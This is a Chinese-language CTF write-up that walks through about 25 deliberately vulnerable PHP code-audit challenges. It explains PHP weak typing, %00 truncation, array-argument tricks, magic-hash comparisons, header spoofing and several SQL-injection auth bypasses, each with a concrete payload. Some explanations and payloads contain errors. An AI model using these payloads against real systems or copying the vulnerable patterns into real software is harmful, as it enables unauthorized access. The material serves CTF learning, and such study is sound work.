1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'ctf{xxx}'; } else { echo'Oh.no'; } } ?>
主要考点是extract和file_get_contents这两个函数 一个简单的变量覆盖的例子:
1 2 3 4 5 6 <?php $a = 1; //原变量值为1 $b = array('a' => '3'); extract($b); //经过extract()函数对$b处理后 echo $a; //输出结果为3 ?>
然后file_get_contents这个函数,是把文件里的信息打印出来,但是这里是取变量的值,所以并不会打印任何信息为空,即$flag的值不会影响结果只有$shiyan才会影响,所以可以构造payload payload:?shiyan=&flag=1(此处1只是随意填写)
因为$flag传进去任何值都会变为空,所以只要传$shiyan为空,保证if判断为真就行
02 绕过过滤的空白字符.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php $info = ""; $req = []; $flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"; ini_set("display_error", false); //为一个配置选项设置值 error_reporting(0); //关闭所有PHP错误报告 if(!isset($_GET['number'])){ header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt die("have a fun!!"); //die — 等同于 exit() } foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式 foreach($global_var as $key => $value) { $value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符) is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串 } } function is_palindrome_number($number) { $number = strval($number); //strval — 获取变量的字符串值 $i = 0; $j = strlen($number) - 1; //strlen — 获取字符串长度 while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 { $info="sorry, you cann't input a number!"; } elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值 { $info = "number must be equal to it's integer!! "; } else { $value1 = intval($req["number"]); $value2 = intval(strrev($req["number"])); if($value1!=$value2){ $info="no, this is not a palindrome number!"; } else { if(is_palindrome_number($req["number"])){ $info = "nice! {$value1} is a palindrome number!"; } else { $info=$flag; } } } echo $info;
说实话这道题有点绕,理清思路后反而考的是fuzz能力(我连fuzz脚本都没咋看懂) 这里主要涉及is_numeric,空白字符绕过intval和回文检测
主要代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 function is_palindrome_number($number) { $number = strval($number); //strval — 获取变量的字符串值 $i = 0; $j = strlen($number) - 1; //strlen — 获取字符串长度 while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 { $info="sorry, you cann't input a number!"; } elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值 { $info = "number must be equal to it's integer!! "; } else { $value1 = intval($req["number"]); $value2 = intval(strrev($req["number"])); if($value1!=$value2){ $info="no, this is not a palindrome number!"; } else { if(is_palindrome_number($req["number"])){ $info = "nice! {$value1} is a palindrome number!"; } else { $info=$flag; } } } echo $info;
首先定义了个检测回文的函数,随后检测变量是否为数字或者数字字符串,再接着检测变量和其的字符变量值是否相同,然后要求intval($req[‘number’]) == intval(strrev($req[‘number’])),其实就是另一种检测回文 最后用回文函数进行检测。
流程大致就是上面所说,做个总结
1 2 3 4 1.条件is_numeric($_REQUEST['number'])为假,这个绕过的方法很多使用%00开头就行,也可以再POST一个number参数把GET中的覆盖掉也可以,所以这一步很简单。 2.要求 $req['number']==strval(intval($req['number'])) 3.要求intval($req['number']) == intval(strrev($req['number'])) 4.is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现得到flag
现在来看条件4需要我们添加字符但也要满足2.3条件,所以可以简化代码来进行fuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function is_palindrome_number($number) { $number = strval($number); //strval — 获取变量的字符串值 $i = 0; $j = strlen($number) - 1; //strlen — 获取字符串长度 while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true; } $a = trim($_GET['number']); var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a)) ?>
(其实我感觉最后一部分还不如不简化,全部冗杂在一起,反而很烦) Fuzz代码如下:
1 2 3 4 5 import requests for i in range(256): rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i)) if '1' in rq.text: print "%%%02X"%i
结果为:%0c,%2B 这个脚本在格式化变量那里我不是很懂,回过头来,对于is_numeric这个函数,在开始判断时,会跳过所有空白字符,这是一个特性,也就是说is_numeric(“\r\n\t 1.22223333”)能够返回真,同理
intval也行。所以可以引入+(也就是%2B)在数字前面,来绕过最后的回文函数,因为11和+11是一样的值。
payload:?number=%00%2B191
03 多重加密.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); //把一个或多个数组合并为一个数组 class db { public $where; function __wakeup() { if(!empty($this->where)) { $this->select($this->where); } } function select($where) { $sql = mysql_query('select * from user where '.$where); //函数执行一条 MySQL 查询。 return @mysql_fetch_array($sql); //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false } } if(isset($requset['token'])) //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。 { $login = unserialize(gzuncompress(base64_decode($requset['token']))); //gzuncompress:进行字符串压缩 //unserialize: 将已序列化的字符串还原回 PHP 的值 $db = new db(); $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\''); //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 if($login['user'] === 'ichunqiu') { echo $flag; }else if($row['pass'] !== $login['pass']){ echo 'unserialize injection!!'; }else{ echo "(╯‵□′)╯︵┴─┴ "; } }else{ header('Location: index.php?error=1'); } ?>
emm这道题类里面定义的东西,跟获取flag毫无关系,我还以为要牵涉反序列化。 主要部分是这里
1 2 3 if($login['user'] === 'ichunqiu') { echo $flag;
和这里
1 2 3 4 5 6 if(isset($requset['token'])) //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。 { $login = unserialize(gzuncompress(base64_decode($requset['token']))); //gzuncompress:进行字符串压缩 //unserialize: 将已序列化的字符串还原回 PHP 的值
很明显目的就是让user的值等于ichunqiu,然后传一个token进去,经过base64解码和字符解压等于ichunqiu就行,写一个小脚本
1 2 3 4 5 6 <?php $arr = array(['user'] === 'ichunqiu'); $token = base64_encode(gzcompress(serialize($arr))); print_r($token); // 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ= ?>
拿到token改下session发包就行了
04 SQL注入_WITH ROLLUP绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ //检测变量是否是数组 $StrValue=implode($StrValue); //返回由数组元素组合成的字符串 } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ //匹配成功一次后就会停止匹配 print "水可载舟,亦可赛艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ //遍历数组 AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); //设置活动的 MySQL 数据库 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql); //执行一条 MySQL 查询 if (mysql_num_rows($query) == 1) { //返回结果集中行的数目 $key = mysql_fetch_array($query); //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "亦可赛艇!"; } }else{ print "一颗赛艇!"; } mysql_close($con); ?>
主要的代码还是这一块
1 2 3 4 5 6 7 $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ //遍历数组 AttackFilter($key,$value,$filter); }
过滤了很多sql注入常见的关键词,这里看了WP才知道一个新姿势,可以借助select过程中用group by with rollup进行插入查询: 但是这个语句网上的解释过于阴间,还是直接在MySQL里做实验吧
最后一个图,id的值为空,但是name和psd不为空,这个并不是我们设置的,而是通过语句查询出来的,所以这里我们对psw进行查询
查询出来密码为空,所以在构造表单是,在用户名这里填上payload就能登陆
1 用户名 'GROUP BY psw WITH ROLLUP LIMIT 1 OFFSET 2--+
(怎么现在题都喜欢翻文档做呢,虽然是老题)
05 ereg正则%00截断.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置 { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?>
终于遇到我做过的题了。
1 首先主要是两个条件,第一password里必须为数字字母,第二个条件为strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
最后一个条件是密码里要含有*-*这个字符串
1 ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
对于这个函数是可以绕过的,一是用%00截断,二是可以用数组绕过。 0x1
payload:?password=1e7%00*-*
0x2
payload:?password[]=1e7&password[]=-
06 strcmp比较字符串.php 1 2 3 4 5 6 7 8 9 10 11 12 <?php $flag = "flag"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 //比较两个字符串(区分大小写) die('Flag: '.$flag); else print 'No'; } ?>
这里如果单纯只是想获得flag的话,直接传a=flag就行,但是我们是要找漏洞,针对strcmp这个函数他所期望的数值类型是数值,那如果我们传进去的是非字符比如数组呢?会报错,但是在php5.3之前,显示了报错的信息后,将会把这个函数的运算结果return 0,也就是虽然报错,但是还是将其判断为0,这是一个很大的漏洞。php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。strcmp
只会处理字符串参数,如果给个数组的话呢,就会返回NULL
,而判断使用的是==
,NULL==0
是 bool(true)
07 sha()函数比较绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $flag = "flag"; if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '<p>Your password can not be your name!</p>'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '<p>Invalid password.</p>'; } else echo '<p>Login first!</p>'; ?>
这里是一个比较经典但是简单的漏洞,首先要满足传入的name和password不一样,但是这俩变量经过sha1函数运算后的值是强相等的。(注意前者是==,后者是===).对于sha1函数,他所期望的变量类型是字符型,类似的比如bool,sha1,md5函数也是同样的类型。如果给他传入数组就会出现错误,使sha1返回错误,也就是返回false,这样===左右的sha1函数运算后的值就相等了。 payload:?name[]=1&password[]=2
08 SESSION验证绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $flag = "flag"; session_start(); if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print '<p>Wrong guess.</p>'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>
最开始以为要去获取session值,但是这里并没有session的相关赋值,后面也有串莫名其妙的随机时间运算,后来找了原题才知道,这里精简过的。 原题代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <html> <head> <title>level4</title> <link rel='stylesheet' href='style.css' type='text/css'> </head> <body> <?php session_start(); require 'flag.php'; if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION['password']) die ('Flag: '.$flag); else print '<p class="alert">Wrong guess.</p>'; } // Unpredictable seed mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?> <section class="login"> <div class="title"> <a href="./index.txt">Level 4</a> </div> <ul class="list"> <?php for ($i=0; $i<3; $i++) print '<li>' . mt_rand (0, 0xffffff) . '</li>'; $_SESSION['password'] = mt_rand (0, 0xffffff); ?> </ul> <form method="get"> <input type="text" required name="password" placeholder="Next number" /><br/> <input type="submit"/> </form> </section> </body> </html>
如果说按照原题代码进行分析,要分析出rand函数的规律进行破解,那就不是考代码审计了。后面抓包发现,session存放在cookie里面,手动清楚cookie,然后提交password为空,也能绕过,这里确实没想到。
09 密码md5比较绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php //配置数据库 if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } //赋值 $user = $_POST[user]; $pass = md5($_POST[pass]); //sql语句 // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456 $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
emmmmmmm我感觉这道题的代码也精简过,直接看代码也能有头绪但是有点懵。直接看payload吧
1 ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
中间的MD5其实就是123456,结合这一段代码,就能很清楚了
1 2 3 4 5 6 7 $pass = md5($_POST[pass]); if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
10 urldecode二次编码绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?>
先是用eregi进行一个匹配,然后把id值进行url解码,如果经过二次url解码后等于hackerDJ,就可以获得flag(注意这里浏览器本身就会进行一次url解码,所以是二次url解码) payload:?id=%2568ackerDJ
11 sql闭合绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("*******", "****", "****"); mysql_select_db("****") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); //select user from php where (user='admin')# //exp:admin')# $sql = "select user from php where (user='$user') and (pw='$pass')"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if($row['user']=="admin") { echo "<p>Logged in! Key: *********** </p>"; } if($row['user'] != "admin") { echo("<p>You are not admin!</p>"); } } ?>
最终目的就是让user值为admin,最主要的代码是这里
1 $sql = "select user from php where (user='$user') and (pw='$pass')";
这里用sql查询用户名和密码,但是我们不知道admin的密码是啥,所以前面进行闭合,后面进行注释
1 select user from php where (user='admin')#
所以payload为:admin’)#
12 X-Forwarded-For绕过指定IP地址.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function GetIP(){ if(!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"]; else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if(!empty($_SERVER["REMOTE_ADDR"])) $cip = $_SERVER["REMOTE_ADDR"]; else $cip = "0.0.0.0"; return $cip; } $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********"; } else{ echo "错误!你的IP不在访问列表之内!"; } ?>
前面一大串其实没啥吊用,归根结底就是让ip地址=1.1.1.1,用火狐的一个xff插件或者burp抓包添加HTTP头X-Forwarded-For:1.1.1.1就行
13 md5加密相等绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
QNKCDZO经过md5后是0e开头的也就是可以认为是0(科学计数法),因为==进行对比时会进行数据转换,那就很简单了。就是要传一个不等于QNKCDZO,但是经过md5后也是等于0e开头的数。找点资料就能传
资料:https://blog.csdn.net/weixin_43803070/article/details/91308414
14 intval函数四舍五入.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if($_GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $id = intval($_GET[id]); $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'")); if ($_GET[id]==1024) { echo "<p>no! try again</p>"; } else{ echo($query[content]); } } ?>
把最重要的列出来
1 2 $id = intval($_GET[id]); if ($_GET[id]==1024) {
主要是intval这个函数,这个函数默认10进制主要是进行向下取整 payload:?id=1024.1
有时候浮点数也存在精度忽略
1 2 if ($req["number"] != intval($req["number"])) 在小数小于某个值(10^-16)以后,再比较的时候就分不清大小了。 输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等
intval函数的最大值取决于操作系统
1 2 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。 64 位系统上,最大带符号的 integer 值是 9223372036854775807。
15 strpos数组绕过NULL与ereg正则%00截断.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $flag = "flag"; if (isset ($_GET['nctf'])) { if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?>
要求我们传入的变量值含有数字和#biubiubiu,这里字符串截断,利用ereg()
的NULL
截断漏洞,绕过正则过滤 payload:?nctf=1%00#biubiubiu(#需要进行url编码)
不过这里也有其他方法,strops期望类型为字符,传一个数组给他,strops出错后返回null,null!==false,ereg()进行匹配出错时也返回null,null!=false,所以符合要求。
payload:?nctf[]=
对于字符阶段
iconv异常字符截断
因iconv遇到异常字符就不转后面的内容了,所以可以截断。
1 2 3 $a='1'.chr(130).'2'; echo iconv("UTF-8","gbk",$a); //将字符串的编码从UTF-8转到gbk echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从GB2312转到UTF-8
这里chr(128)到chr(255)都可以截断 eregi.ereg可用%00截断
功能:正则匹配过滤 条件:要求php<5.3.4
move_uploaded_file 用\0截断
5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7 原来在高版本(受影响版本中),PHP把长度比较的安全检查逻辑给去掉了,导致了漏洞的发生
include用?截断
1 2 3 4 5 <?php $name=$_GET['name']; $filename=$name.'.php'; include $filename; ?>
当输入的文件名包含url时,问号截断就会发生,这个利用方式不受php版本限制,因为web服务器会将问号看成一个请求参数
1 http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/ddd.txt?
16 SQL注入or绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php #GOAL: login as admin,then get the flag; error_reporting(0); require 'db.inc.php'; function clean($str){ if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置 $str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。 } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); //$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';'; $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1){ die('Invalid password!'); } echo $flag; ?>
斜杠真的看着很难受。。 主要是这里代码,因为要以admin登陆,但是我们不知道密码,那就后面进行注释
1 $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
payload:$query=’SELECT * FROM users WHERE name='‘admin'' AND pass='‘ or 1 #&password= 即
?username=admin'' and pass='‘ or 1 # &password=
17 密码md5比较绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { //strcasecmp:0 - 如果两个字符串相等 echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
跟第九题一样感觉,直接写payload吧
1 payload:?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
18 md5()函数===使用数组绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?>
也是经典题目,MD5,sha1这种类似的加密函数期望类型都是字符串,这里要求前者和后者的值不一样,但经过MD5后相等。因为在md5函数中传入数组后会报错得null,所以构造payload(因为这里是===,如果是==还可以用去构造0e开头的数) payload:?username[]=1&password[]=2
19 ereg()函数strpos() 函数用数组返回NULL绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else echo 'Invalid password'; } ?>
这个就是15题提出的方法二,直接套用payload吧 payload:
?password[]=
20 十六进制与数字比较.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag{test}'; $one = ord('1'); //ord — 返回字符的 ASCII 码值 $nine = ord('9'); //ord — 返回字符的 ASCII 码值 $number = '3735929054'; // Check all the input characters! for ($i = 0; $i < strlen($number); $i++) { // Disallow all the digits! $digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { // Aha, digit not allowed! return "flase"; } } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); ?>
这里不让输入十进制的数字,但是后面却让进行数字的比较,所以肯定要进行进制转换,0x开头表示16进制,这串数字16进制转换后是deadc0de,在开头上加上0x,代表这个是16进制的数字,和原来十进制的进行比较,当然相等 payload:?password=0xdeadc0de
21 数字验证正则绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting(0); $flag = 'flag{test}'; if ("POST" == $_SERVER['REQUEST_METHOD']) { $password = $_POST['password']; if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配 { echo 'Wrong Format'; exit; } while (TRUE) { $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr)) break; $c = 0; $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break; //>=3,必须包含四种类型三种与三种以上 if ("42" == $password) echo $flag; else echo 'Wrong password'; exit; } } ?>
emm这道题主要是正则,但是我感觉故意搞的很复杂,其实没有那么复杂。
1 if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
必须为12个字符以上(非空格非tab的内容)
1 2 $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr))
匹配的次数要大于6次
1 2 3 4 5 6 foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break;
password里的字符类型要大于或等于三种(大小写字母,数字,字符)
1 if ("42" == $password) echo $flag;
password的值必须为42 构造payload:
payload:?password=42.0e+000
22 弱类型整数大小比较绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag; } ?>
payload:password=1336a is_numeric($temp)?die(“no numeric”):NULL; 不能为数字,但是要大于1336,利用php弱类型的一个特性当一个整数和一个其他类型进行比较时会先进行类型转换(intval),如果输入1377a,这样的字符串,在is_numeric中返回true,然后在比较时被转换成数字1337,这样就绕过判断输出了
23 md5函数验证绕过.php 1 2 3 4 5 6 7 8 9 10 <?php error_reporting(0); $flag = 'flag{test}'; $temp = $_GET['password']; if(md5($temp)==0){ echo $flag; } ?>
md5($temp)==0 要让MD5函数加密后为0,俩种方法 一是之前说过,经过运算后为0e*****这种形式,直接去找资料传就行
二是不给password赋值,为null,null==0为true
24 md5函数true绕过注入.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0); $link = mysql_connect('localhost', 'root', 'root'); if (!$link) { die('Could not connect to MySQL: ' . mysql_error()); } // 选择数据库 $db = mysql_select_db("security", $link); if(!$db) { echo 'select db error'; exit(); } // 执行sql $password = $_GET['password']; $sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'"; var_dump($sql); $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' ); $row1 = mysql_fetch_row($result); var_dump($row1); mysql_close($link); ?>
MD5函数第二个参数为true时,表示原始16字符如果包含’or’xxx这样的字符串,那整个sql变成:
1 SELECT * FROM admin WHERE pass = ''or'xxx'
等于我们转换成了一个万能密码,这里要进行fuzz或者去网上查资料得到
1 2 3 字符串:ffifdyop md5后,276f722736c95d99e921722cf9ed621c hex转换成字符串: 'or'6<trash> payload:?password=ffifdyop
25 switch没有break 字符与0比较绕过.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0); if (isset($_GET['which'])) { $which = $_GET['which']; switch ($which) { case 0: case 1: case 2: require_once $which.'.php'; echo $flag; break; default: echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false); break; } } ?>
这道题应该是有点小问题的,不过知识点还是很明显的,就是弱类型比较。 PHP中非数字开头字符串和数字 0比较==都会返回True
===会比较类型
让我们包含当前目录中的flag.php
,给which
为flag
,这里会发现在case 0
和case 1
的时候,没有break
,按照常规思维,应该是0
比较不成功,进入比较1
,然后比较2
,再然后进入default
,但是事实却不是这样,事实上,在 case 0
的时候,字符串和0
比较是相等的,进入了case 0
的方法体,但是却没有break
,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which
传入flag
的时候,case 0
比较进入了方法体,但是没有break
,默认已经匹配成功,往下执行不再判断,进入2
的时候,执行了require_once flag.php
PHP中非数字开头字符串和数字 0
比较==
都返回True
